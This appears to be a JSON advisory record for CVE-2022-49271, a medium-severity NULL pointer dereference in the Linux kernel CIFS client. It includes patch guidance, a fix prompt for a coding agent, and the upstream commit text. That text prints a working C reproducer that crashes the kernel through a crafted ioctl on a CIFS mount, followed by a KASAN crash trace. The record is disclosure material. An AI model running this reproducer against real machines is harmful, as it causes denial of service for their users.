{"answers":{"affected":"It affects 1 product.","exploited":"There is no known exploitation of CVE-2022-49271 in the wild and no public exploit code.","fix":"Apply the vendor's patch.","what":"CVE-2022-49271 is a medium-severity vulnerability in Linux kernel, published on 26 Feb 2025. It can only be exploited from the same machine or local network, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2022-49271 and fix it if it is affected.\n\nWhat it is: CVE-2022-49271 is a medium-severity vulnerability in Linux kernel, published on 26 Feb 2025. It can only be exploited from the same machine or local network, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2022-49271 in the wild and no public exploit code.\n\nAffected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2022-49271/ (Markdown: https://insights.sbomify.com/CVE-2022-49271/index.md)","id":"CVE-2022-49271","markdown":"https://insights.sbomify.com/CVE-2022-49271/index.md","name":"CVE-2022-49271","record":{"aliases":["DEBIAN-CVE-2022-49271","GHSA-mhc4-95pw-jjv5","UBUNTU-CVE-2022-49271"],"analysis":{"component_type":"kernel","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"adjacent_or_local","non_default_config":false,"product_category":"Linux kernel CIFS","requires_auth":"low_privilege","summary":"A local attacker can trigger a kernel crash via a specific ioctl call on a CIFS mount, causing a denial of service.","user_interaction":"not_required","vuln_class":"null_dereference"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"Linux","cpe":[{"product":"linux_kernel","vendor":"linux"}],"cvss":{"score":5.5,"severity":"medium","source":"nvd","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","version":"3.1"},"cwes":[{"id":"CWE-476","name":"NULL Pointer Dereference"}],"description":"In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: prevent bad output lengths in smb2_ioctl_query_info()\n\nWhen calling smb2_ioctl_query_info() with\nsmb_query_info::flags=PASSTHRU_FSCTL and\nsmb_query_info::output_buffer_length=0, the following would return\n0x10\n\n\tbuffer = memdup_user(arg + sizeof(struct smb_query_info),\n\t\t\t     qi.output_buffer_length);\n\tif (IS_ERR(buffer)) {\n\t\tkfree(vars);\n\t\treturn PTR_ERR(buffer);\n\t}\n\nrather than a valid pointer thus making IS_ERR() check fail.  This\nwould then cause a NULL ptr deference in @buffer when accessing it\nlater in smb2_ioctl_query_ioctl().  While at it, prevent having a\n@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO\nFileEndOfFileInformation requests when\nsmb_query_info::flags=PASSTHRU_SET_INFO.\n\nHere is a small C reproducer which triggers a NULL ptr in @buffer when\npassing an invalid smb_query_info::flags\n\n\t#include \u003cstdio.h\u003e\n\t#include \u003cstdlib.h\u003e\n\t#include \u003cstdint.h\u003e\n\t#include \u003cunistd.h\u003e\n\t#include \u003cfcntl.h\u003e\n\t#include \u003csys/ioctl.h\u003e\n\n\t#define die(s) perror(s), exit(1)\n\t#define QUERY_INFO 0xc018cf07\n\n\tint main(int argc, char *argv[])\n\t{\n\t\tint fd;\n\n\t\tif (argc \u003c 2)\n\t\t\texit(1);\n\t\tfd = open(argv[1], O_RDONLY);\n\t\tif (fd == -1)\n\t\t\tdie(\"open\");\n\t\tif (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)\n\t\t\tdie(\"ioctl\");\n\t\tclose(fd);\n\t\treturn 0;\n\t}\n\n\tmount.cifs //srv/share /mnt -o ...\n\tgcc repro.c \u0026\u0026 ./a.out /mnt/f0\n\n\t[  114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI\n\t[  114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n\t[  114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1\n\t[  114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014\n\t[  114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]\n\t[  114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24\n\t[  114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256\n\t[  114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d\n\t[  114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380\n\t[  114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003\n\t[  114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288\n\t[  114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000\n\t[  114.144852] FS:  00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000\n\t[  114.145338] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n\t[  114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0\n\t[  114.146131] Call Trace:\n\t[  114.146291]  \u003cTASK\u003e\n\t[  114.146432]  ? smb2_query_reparse_tag+0x890/0x890 [cifs]\n\t[  114.146800]  ? cifs_mapchar+0x460/0x460 [cifs]\n\t[  114.147121]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.147412]  ? cifs_strndup_to_utf16+0x15b/0x250 [cifs]\n\t[  114.147775]  ? dentry_path_raw+0xa6/0xf0\n\t[  114.148024]  ? cifs_convert_path_to_utf16+0x198/0x220 [cifs]\n\t[  114.148413]  ? smb2_check_message+0x1080/0x1080 [cifs]\n\t[  114.148766]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.149065]  cifs_ioctl+0x1577/0x3320 [cifs]\n\t[  114.149371]  ? lock_downgrade+0x6f0/0x6f0\n\t[  114.149631]  ? cifs_readdir+0x2e60/0x2e60 [cifs]\n\t[  114.149956]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.150250]  ? __rseq_handle_notify_resume+0x80b/0xbe0\n\t[  114.150562]  ? __up_read+0x192/0x710\n\t[  114.150791]  ? __ia32_sys_rseq+0xf0/0xf0\n\t[  114.151025]  ? __x64_sys_openat+0x11f/0x1d0\n\t[  114.151296]  __x64_sys_ioctl+0x127/0x190\n\t[  114.151549]  do_syscall_64+0x3b/0x90\n\t[  114.151768]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\t[  114.152079] RIP: 0033:0x7f7aead043df\n\t[  114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24\n---truncated---","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":true,"headline":"cifs: prevent bad output lengths in smb2_ioctl_query_info()","id":"CVE-2022-49271","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":"linux:linux_kernel","products":["linux:linux_kernel"],"type":"null_dereference","year":"2022"},"n_packages":0,"n_references":5,"next":{"headline":"ALSA: pcm: Fix potential AB/BA lock with buffer_mutex and mmap_lock","id":"CVE-2022-49272"},"packages":[],"prev":{"headline":"dm: fix use-after-free in dm_cleanup_zoned_dev()","id":"CVE-2022-49270"},"products":["Linux"],"published":"2025-02-26","related":[{"cvss_score":8.8,"headline":"Linux Kernel Out-of-Bounds Write","id":"CVE-2026-53266","kev_date_added":"2026-09-18","published":"2026-06-25"},{"cvss_score":8.8,"headline":"Linux Kernel Improper Input Validation","id":"CVE-2013-6282","kev_date_added":"2022-09-15","published":"2013-11-19"},{"cvss_score":8.4,"headline":"Linux Kernel Heap-Based Buffer Overflow","id":"CVE-2022-0185","kev_date_added":"2024-08-21","published":"2022-02-11"},{"cvss_score":8.4,"headline":"Linux Kernel Privilege Escalation","id":"CVE-2013-2094","kev_date_added":"2022-09-15","published":"2013-05-14"},{"cvss_score":7.8,"headline":"Linux Kernel Unspecified","id":"CVE-2026-53362","kev_date_added":"2026-08-27","published":"2026-07-04"},{"cvss_score":7.8,"headline":"Linux Kernel Missing Initialization of a Variable","id":"CVE-2026-46300","kev_date_added":"2026-10-28","published":"2026-05-23"},{"cvss_score":7.8,"headline":"Linux Kernel Race Condition","id":"CVE-2025-39964","kev_date_added":"2026-09-18","published":"2025-10-13"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":"PUBLISHED","updated":"2026-05-11","vendors":["Linux"]},"summary":"A local attacker can trigger a kernel crash via a specific ioctl call on a CIFS mount, causing a denial of service.","url":"https://insights.sbomify.com/CVE-2022-49271/"}